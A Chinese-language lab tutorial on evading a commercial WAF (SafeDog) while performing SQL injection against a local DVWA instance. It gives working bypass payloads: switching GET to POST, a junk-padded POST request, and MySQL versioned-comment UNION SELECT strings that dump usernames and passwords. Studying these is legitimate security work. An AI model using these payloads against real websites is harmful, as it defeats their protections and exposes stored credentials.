准备出一个系列课程,分别为SQL注入、命令执行、文件上传、Xss等的Bypass

什么是Waf

首先学Bypass Waf,必须要知道什么是Waf

WAF全称Web application firewall,是Web安全防护的一种手段,对攻击者输入的内容进行检测,匹配是否存在恶意内容,如果有放弃这个请求包,或加入黑名单,不允许此IP再次访问网站

Waf核心功能

  • 特征匹配
    Waf一般都有自己的匹配规则,多为正则匹配校验内容。
  • 黑名单、白名单
    黑名单即拉黑,白名单即只允许
  • 对数据包处理
    匹配有攻击特征 -> 丢包 -> 记录 -> 可能拉入IP黑名单

Waf分类

Waf主要分成三类

  • Waf
    此类Waf是直接部署在云服务器上的,主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测(云Waf),如存在异常请求则进行拦截,否则将请求转发至真实服务器。
  • 软件Waf
    软件Waf直接安装在需要防护的服务器上,实现方式通常是Waf监听端口或以Web容器扩展方式进行请求检测和阻断。
  • 硬件Waf
    这类Waf以一个独立的硬件设备的形态存在,以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为Web应用提供安全防护,这类设备是比较安全的,也比较贵。

Waf有一个最直接的绕过办法就是找到目标服务器的真实IP,如此一来,云Waf无权检测内容。

部署环境

  • 利用dvwa作为靶场
  • 利用安全狗作为waf
  • apache中间件
  • php 5.x版本

image.png-149.6kB

Bypass

首先我们输入恶意payload后是这样的

1.png-66.7kB

0x1.利用GET+POST绕过

1.png-200.5kB

绕过原理:

Waf只拦截GET请求,不拦截POST请求,而且程序也接受POST请求,导致POST传入恶意payloadWaf不会拦截

安全狗默认情况是只检测Url的恶意Payload,然后我们开启一下对POST的检测

111.png-80.3kB

开启后,这种办法就没办法绕过了

111.png-156.8kB

那么就要使用第二种办法了

0x2.垃圾字节数绕过

这里为了方便查看执行的SQL语句我将其打印出来

1.png-24kB

绕过的请求包如下

1
POST /waf/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1 HTTP/1.1
2
Host: 192.168.31.129
3
Cache-Control: max-age=0
4
Upgrade-Insecure-Requests: 1
5
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
7
Accept-Encoding: gzip, deflate
8
Accept-Language: zh-CN,zh;q=0.9
9
Cookie: security=low; PHPSESSID=9g1jr0nu47c72napn759d7r8s4
10
Connection: close
11
Content-Type: application/x-www-form-urlencoded
12
Content-Length: 6195
13
14
Submit=Submit&name=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck...超多个&id=1'+or+'1'='1

1.png-149.2kB

绕过原理:

由于数据包参数很长,Waf会选择不匹配内容,直接把包给程序从而绕过,因为当字节数太长的时候,Waf匹配起来响应的时间很长,影响客户体验。

0x3.利用SQL语法绕过

这个就比较难了,对于我这种SQL语句不熟练的人来说是这样,屁话不多说。

首先试试1'/*!10000or*/'1'='1是否会拦截

1.png-107kB

然后用Burp跑一下哪个数字不会拦

1.png-132.7kB

/*!30440*//*!30449*//*!32440*//*!32449*/都不会拦(其实还有很多,但是已经能执行的就足够可以绕过安全狗了),然后尝试查字段内容。

1.png-179kB

1
http://192.168.31.139/waf/dvwa/vulnerabilities/sqli/?Submit=Submit&name=&id=1'+/*!32441union*/+/*!32444select*/+null,concat_ws(char(32,32,32),user,password)+from+users--+a

成功。

绕过原理:

首先看看如下Sql语句

1
select 1/*!32222union*/select 2;

1.png-9.7kB

1.png-8.1kB

因为mysql的特性,可以在/*!12345这里*/执行数据库语句,或用/*垃圾字符*/来替换空格,但是安全狗这里使用/**/替换空格的办法依旧会拦截。